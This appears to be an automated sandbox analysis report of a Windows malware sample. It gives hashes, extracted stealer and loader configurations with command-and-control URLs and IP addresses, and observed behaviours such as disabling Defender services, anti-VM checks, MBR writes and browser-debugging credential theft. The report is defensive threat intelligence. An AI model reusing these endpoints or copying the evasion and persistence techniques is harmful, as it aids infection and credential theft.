Analysis
-
max time kernel
86s -
max time network
309s -
platform
windows10-ltsc_2021_x64 -
resource
win10ltsc2021-20250314-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system -
submitted
29/03/2025, 12:53
Static task
static1
Behavioral task
behavioral1
Sample
random.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
random.exe
Resource
win10v2004-20250313-en
Behavioral task
behavioral3
Sample
random.exe
Resource
win10ltsc2021-20250314-en
General
-
Target
random.exe
-
Size
5.4MB
-
MD5
0bf31c73f0e95a18595dd60e3ce41359
-
SHA1
00ab9a13e756265f4e45ae70f6af587a8c8184b5
-
SHA256
d4cf07f30e19535dd48e4a54dd0e8a5030dff5db91c5e1317dd3d4251c6e3c6d
-
SHA512
761c571d62e846428f560c99c18ff672ff8ea3354f3d929e9868f06e48ecae569049910dd40893ded90bf38a51d3883ef12a4572f58f6ea2a60262a7e85e527c
-
SSDEEP
98304:SY8MKMFkmzuwOXs4cYIeDhmzwiI7qyudXcrHwVPDo:pVKMFAwO8rpiQz9eXuRD
Malware Config
Extracted
http://176.113.115.7/mine/random.exe
Extracted
amadey
5.21
092155
http://176.113.115.6
-
install_dir
bb556cff4a
-
install_file
rapes.exe
-
strings_key
a131b127e996a898cd19ffb2d92e481b
-
url_paths
/Ni9kiput/index.php
Extracted
lumma
https://wxayfarer.live/ALosnz
https://oreheatq.live/gsopp
https://castmaxw.run/ganzde
https://weldorae.digital/geds
https://steelixr.live/aguiz
https://advennture.top/GKsiio
https://targett.top/dsANGt
https://smeltingt.run/giiaus
https://fferromny.digital/gwpd
https://esccapewz.run/ANSbwqy
https://travewlio.shop/ZNxbHi
https://touvrlane.bet/ASKwjq
https://sighbtseeing.shop/ASJnzh
https://holidamyup.today/AOzkns
https://mtriplooqp.world/APowko
https://xcastmaxw.run/ganzde
https://7targett.top/dsANGt
https://ferromny.digital/gwpd
https://skynetxc.live/AksoPA
https://byteplusx.digital/aXweAX
https://apixtreev.run/LkaUz
https://tsparkiob.digital/KeASUp
https://appgridn.live/LEjdAK
Extracted
vidar
13.3
11373d37b176b52c098f600f61cdf190
https://t.me/lw25chm
https://steamcommunity.com/profiles/76561199839170361
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0
Extracted
vidar
13.3
928af183c2a2807a3c0526e8c0c9369d
https://t.me/lw25chm
https://steamcommunity.com/profiles/76561199839170361
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0
Extracted
stealc
trump
http://45.93.20.28
-
url_path
/85a1cacf11314eb8.php
Signatures
-
Amadey family
-
Detect Vidar Stealer 26 IoCs
resource yara_rule behavioral3/memory/2620-164-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-165-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-167-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-176-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-194-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-195-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-198-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-199-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-201-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-202-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-203-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-204-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-205-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-610-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-611-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-612-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-620-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-628-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/5204-632-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/5204-633-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/5204-635-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-636-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-637-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-659-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-660-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 behavioral3/memory/2620-673-0x0000000000400000-0x0000000000429000-memory.dmp family_vidar_v7 -
Detects Healer an antivirus disabler dropper 3 IoCs
resource yara_rule behavioral3/memory/3136-22686-0x0000000000370000-0x00000000007B0000-memory.dmp healer behavioral3/memory/3136-22685-0x0000000000370000-0x00000000007B0000-memory.dmp healer behavioral3/memory/3136-23129-0x0000000000370000-0x00000000007B0000-memory.dmp healer -
Healer family
-
Lumma family
-
Modifies security service 2 TTPs 3 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters reg.exe -
Stealc family
-
Vidar family
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ rapes.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 2Y8961.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ rapes.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 73add0fc0c.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ de9f28432c.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ rapes.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 4d6f990805.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 1R32M4.exe -
pid Process 4904 powershell.exe 3688 powershell.exe 8688 powershell.exe 9732 powershell.exe 6932 powershell.exe 7320 powershell.exe 5756 PowerShell.exe 5900 powershell.exe 4056 powershell.exe 1568 powershell.exe 1636 powershell.exe 5576 powershell.exe 3120 powershell.exe 2472 powershell.exe -
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file 9 IoCs
flow pid Process 147 2196 rapes.exe 76 2196 rapes.exe 146 2672 futors.exe 52 2196 rapes.exe 52 2196 rapes.exe 52 2196 rapes.exe 21 2196 rapes.exe 127 2672 futors.exe 127 2672 futors.exe -
Possible privilege escalation attempt 2 IoCs
pid Process 5144 icacls.exe 5756 takeown.exe -
Stops running service(s) 4 TTPs
-
Uses browser remote debugging 2 TTPs 57 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
pid Process 688 chrome.exe 5112 chrome.exe 3184 chrome.exe 14296 msedge.exe 20752 chrome.exe 6820 chrome.exe 10316 msedge.exe 10424 msedge.exe 20464 chrome.exe 5272 chrome.exe 3588 msedge.exe 2560 chrome.exe 14472 msedge.exe 4820 msedge.exe 21388 chrome.exe 18436 msedge.exe 19156 msedge.exe 5620 chrome.exe 3932 chrome.exe 768 chrome.exe 2416 chrome.exe 14576 chrome.exe 21524 chrome.exe 21776 chrome.exe 18456 msedge.exe 1740 chrome.exe 5476 msedge.exe 3712 chrome.exe 11608 msedge.exe 10388 chrome.exe 15072 chrome.exe 2572 chrome.exe 14316 chrome.exe 14232 msedge.exe 2744 msedge.exe 324 chrome.exe 19312 msedge.exe 5716 chrome.exe 5180 chrome.exe 1748 chrome.exe 11572 msedge.exe 4836 chrome.exe 10228 chrome.exe 10796 chrome.exe 10804 chrome.exe 14324 chrome.exe 15012 msedge.exe 14972 msedge.exe 5620 chrome.exe 4512 msedge.exe 1804 msedge.exe 14608 chrome.exe 21396 chrome.exe 6128 chrome.exe 3916 msedge.exe 11024 chrome.exe 13888 chrome.exe -
Checks BIOS information in registry 2 TTPs 16 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 1R32M4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion rapes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 73add0fc0c.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion rapes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 1R32M4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 2Y8961.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion rapes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion de9f28432c.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion de9f28432c.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 73add0fc0c.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rapes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 4d6f990805.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 4d6f990805.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rapes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 2Y8961.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rapes.exe -
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Control Panel\International\Geo\Nation rapes.exe Key value queried \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Control Panel\International\Geo\Nation apple.exe Key value queried \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Control Panel\International\Geo\Nation 22.exe Key value queried \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Control Panel\International\Geo\Nation 22.exe Key value queried \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Control Panel\International\Geo\Nation amnew.exe Key value queried \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Control Panel\International\Geo\Nation futors.exe Key value queried \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Control Panel\International\Geo\Nation 1R32M4.exe -
Executes dropped EXE 21 IoCs
pid Process 3500 g0F78.exe 4220 1R32M4.exe 2196 rapes.exe 3576 2Y8961.exe 1940 rapes.exe 1184 73add0fc0c.exe 3596 EPTwCQd.exe 5280 Rm3cVPI.exe 2508 de9f28432c.exe 4348 apple.exe 1616 22.exe 2944 22.exe 5092 hYjiwV0.exe 5180 rapes.exe 448 amnew.exe 2672 futors.exe 3172 Rm3cVPI.exe 564 gron12321.exe 4640 4d6f990805.exe 5980 v7942.exe 4920 TbV75ZR.exe -
Identifies Wine through registry keys 2 TTPs 8 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Software\Wine rapes.exe Key opened \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Software\Wine 73add0fc0c.exe Key opened \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Software\Wine de9f28432c.exe Key opened \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Software\Wine rapes.exe Key opened \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Software\Wine 4d6f990805.exe Key opened \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Software\Wine 1R32M4.exe Key opened \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Software\Wine rapes.exe Key opened \REGISTRY\USER\S-1-5-21-1498259476-758239146-3116387113-1000\Software\Wine 2Y8961.exe -
Modifies file permissions 1 TTPs 2 IoCs
pid Process 5756 takeown.exe 5144 icacls.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" random.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" g0F78.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 de9f28432c.exe -
AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral3/files/0x000b0000000283f7-1387.dat autoit_exe behavioral3/files/0x00040000000257da-21472.dat autoit_exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
pid Process 4220 1R32M4.exe 2196 rapes.exe 3576 2Y8961.exe 1940 rapes.exe 1184 73add0fc0c.exe 2508 de9f28432c.exe 5180 rapes.exe 4640 4d6f990805.exe -
Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 3596 set thread context of 3140 3596 EPTwCQd.exe 105 PID 5092 set thread context of 2620 5092 hYjiwV0.exe 178 PID 564 set thread context of 5212 564 gron12321.exe 203 PID 5980 set thread context of 5204 5980 v7942.exe 209 PID 4920 set thread context of 220 4920 TbV75ZR.exe 211 -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\Tasks\rapes.job 1R32M4.exe File created C:\Windows\Tasks\futors.job amnew.exe File opened for modification C:\Windows\SystemTemp chrome.exe -
Launches sc.exe 38 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5696 sc.exe 4728 sc.exe 4368 sc.exe 4756 sc.exe 2592 sc.exe 5248 sc.exe 688 sc.exe 2740 sc.exe 2272 sc.exe 4200 sc.exe 5456 sc.exe 5544 sc.exe 1844 sc.exe 4640 sc.exe 4636 sc.exe 1152 sc.exe 768 sc.exe 5912 sc.exe 5232 sc.exe 5752 sc.exe 4752 sc.exe 5596 sc.exe 2476 sc.exe 1528 sc.exe 3028 sc.exe 4016 sc.exe 3200 sc.exe 5676 sc.exe 2056 sc.exe 1252 sc.exe 4832 sc.exe 5852 sc.exe 2704 sc.exe 2292 sc.exe 4820 sc.exe 2908 sc.exe 5228 sc.exe 1968 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 12 IoCs
pid pid_target Process procid_target 3152 4640 WerFault.exe 202 964 220 WerFault.exe 211 13796 11324 WerFault.exe 752 13992 10996 WerFault.exe 751 14276 13752 WerFault.exe 757 16108 12956 WerFault.exe 807 20660 9548 WerFault.exe 796 4464 13032 WerFault.exe 806 17596 19860 WerFault.exe 848 26048 19928 WerFault.exe 847 9408 14184 WerFault.exe 836 23968 18844 WerFault.exe 879 -
System Location Discovery: System Language Discovery 1 TTPs 20 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Rm3cVPI.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language de9f28432c.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language futors.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language random.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rapes.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 22.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4d6f990805.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2Y8961.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 22.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language amnew.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language g0F78.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1R32M4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language apple.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Rm3cVPI.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 73add0fc0c.exe -
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MSBuild.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString MSBuild.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe -
Delays execution with timeout.exe 5 IoCs
pid Process 1960 timeout.exe 2536 timeout.exe 5592 timeout.exe 14092 timeout.exe 15040 timeout.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe -
Kills process with taskkill 5 IoCs
pid Process 9908 taskkill.exe 9832 taskkill.exe 10192 taskkill.exe 4384 taskkill.exe 10136 taskkill.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133877265079469196" chrome.exe -
Modifies registry key 1 TTPs 7 IoCs
pid Process 1568 reg.exe 8604 reg.exe 9536 reg.exe 12216 reg.exe 7368 reg.exe 9796 reg.exe 5756 reg.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2444 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 48 IoCs
pid Process 4220 1R32M4.exe 4220 1R32M4.exe 2196 rapes.exe 2196 rapes.exe 3576 2Y8961.exe 3576 2Y8961.exe 3576 2Y8961.exe 3576 2Y8961.exe 3576 2Y8961.exe 3576 2Y8961.exe 1940 rapes.exe 1940 rapes.exe 1184 73add0fc0c.exe 1184 73add0fc0c.exe 1184 73add0fc0c.exe 1184 73add0fc0c.exe 1184 73add0fc0c.exe 1184 73add0fc0c.exe 3140 MSBuild.exe 3140 MSBuild.exe 3140 MSBuild.exe 3140 MSBuild.exe 5280 Rm3cVPI.exe 5280 Rm3cVPI.exe 5280 Rm3cVPI.exe 5280 Rm3cVPI.exe 2508 de9f28432c.exe 2508 de9f28432c.exe 5180 rapes.exe 5180 rapes.exe 2620 MSBuild.exe 2620 MSBuild.exe 2620 MSBuild.exe 2620 MSBuild.exe 2572 chrome.exe 2572 chrome.exe 4640 4d6f990805.exe 4640 4d6f990805.exe 5212 MSBuild.exe 5212 MSBuild.exe 5212 MSBuild.exe 5212 MSBuild.exe 3172 Rm3cVPI.exe 3172 Rm3cVPI.exe 3172 Rm3cVPI.exe 3172 Rm3cVPI.exe 2620 MSBuild.exe 2620 MSBuild.exe -
Suspicious behavior: LoadsDriver 2 IoCs
pid Process 668 Process not Found 668 Process not Found -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 5756 takeown.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe -
Suspicious use of FindShellTrayWindow 27 IoCs
pid Process 4220 1R32M4.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4060 wrote to memory of 3500 4060 random.exe 84 PID 4060 wrote to memory of 3500 4060 random.exe 84 PID 4060 wrote to memory of 3500 4060 random.exe 84 PID 1504 wrote to memory of 3672 1504 cmd.exe 87 PID 1504 wrote to memory of 3672 1504 cmd.exe 87 PID 3500 wrote to memory of 4220 3500 g0F78.exe 85 PID 3500 wrote to memory of 4220 3500 g0F78.exe 85 PID 3500 wrote to memory of 4220 3500 g0F78.exe 85 PID 4124 wrote to memory of 5020 4124 cmd.exe 89 PID 4124 wrote to memory of 5020 4124 cmd.exe 89 PID 4220 wrote to memory of 2196 4220 1R32M4.exe 90 PID 4220 wrote to memory of 2196 4220 1R32M4.exe 90 PID 4220 wrote to memory of 2196 4220 1R32M4.exe 90 PID 3500 wrote to memory of 3576 3500 g0F78.exe 91 PID 3500 wrote to memory of 3576 3500 g0F78.exe 91 PID 3500 wrote to memory of 3576 3500 g0F78.exe 91 PID 2196 wrote to memory of 1184 2196 rapes.exe 101 PID 2196 wrote to memory of 1184 2196 rapes.exe 101 PID 2196 wrote to memory of 1184 2196 rapes.exe 101 PID 2196 wrote to memory of 3596 2196 rapes.exe 102 PID 2196 wrote to memory of 3596 2196 rapes.exe 102 PID 3596 wrote to memory of 5532 3596 EPTwCQd.exe 103 PID 3596 wrote to memory of 5532 3596 EPTwCQd.exe 103 PID 3596 wrote to memory of 5532 3596 EPTwCQd.exe 103 PID 3596 wrote to memory of 5140 3596 EPTwCQd.exe 104 PID 3596 wrote to memory of 5140 3596 EPTwCQd.exe 104 PID 3596 wrote to memory of 5140 3596 EPTwCQd.exe 104 PID 3596 wrote to memory of 3140 3596 EPTwCQd.exe 105 PID 3596 wrote to memory of 3140 3596 EPTwCQd.exe 105 PID 3596 wrote to memory of 3140 3596 EPTwCQd.exe 105 PID 3596 wrote to memory of 3140 3596 EPTwCQd.exe 105 PID 3596 wrote to memory of 3140 3596 EPTwCQd.exe 105 PID 3596 wrote to memory of 3140 3596 EPTwCQd.exe 105 PID 3596 wrote to memory of 3140 3596 EPTwCQd.exe 105 PID 3596 wrote to memory of 3140 3596 EPTwCQd.exe 105 PID 3596 wrote to memory of 3140 3596 EPTwCQd.exe 105 PID 2196 wrote to memory of 5280 2196 rapes.exe 106 PID 2196 wrote to memory of 5280 2196 rapes.exe 106 PID 2196 wrote to memory of 5280 2196 rapes.exe 106 PID 2196 wrote to memory of 2508 2196 rapes.exe 107 PID 2196 wrote to memory of 2508 2196 rapes.exe 107 PID 2196 wrote to memory of 2508 2196 rapes.exe 107 PID 2196 wrote to memory of 4348 2196 rapes.exe 108 PID 2196 wrote to memory of 4348 2196 rapes.exe 108 PID 2196 wrote to memory of 4348 2196 rapes.exe 108 PID 4348 wrote to memory of 1616 4348 apple.exe 109 PID 4348 wrote to memory of 1616 4348 apple.exe 109 PID 4348 wrote to memory of 1616 4348 apple.exe 109 PID 1616 wrote to memory of 5156 1616 22.exe 111 PID 1616 wrote to memory of 5156 1616 22.exe 111 PID 5156 wrote to memory of 2944 5156 cmd.exe 113 PID 5156 wrote to memory of 2944 5156 cmd.exe 113 PID 5156 wrote to memory of 2944 5156 cmd.exe 113 PID 2944 wrote to memory of 1556 2944 22.exe 114 PID 2944 wrote to memory of 1556 2944 22.exe 114 PID 1556 wrote to memory of 2272 1556 cmd.exe 116 PID 1556 wrote to memory of 2272 1556 cmd.exe 116 PID 1556 wrote to memory of 2704 1556 cmd.exe 117 PID 1556 wrote to memory of 2704 1556 cmd.exe 117 PID 1556 wrote to memory of 1960 1556 cmd.exe 118 PID 1556 wrote to memory of 1960 1556 cmd.exe 118 PID 1556 wrote to memory of 2476 1556 cmd.exe 119 PID 1556 wrote to memory of 2476 1556 cmd.exe 119 PID 1556 wrote to memory of 5248 1556 cmd.exe 120 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\random.exe"C:\Users\Admin\AppData\Local\Temp\random.exe"1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\g0F78.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\g0F78.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1R32M4.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1R32M4.exe3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4220 -
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Downloads MZ/PE file
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Users\Admin\AppData\Local\Temp\10340260101\73add0fc0c.exe"C:\Users\Admin\AppData\Local\Temp\10340260101\73add0fc0c.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1184
-
-
C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe"C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
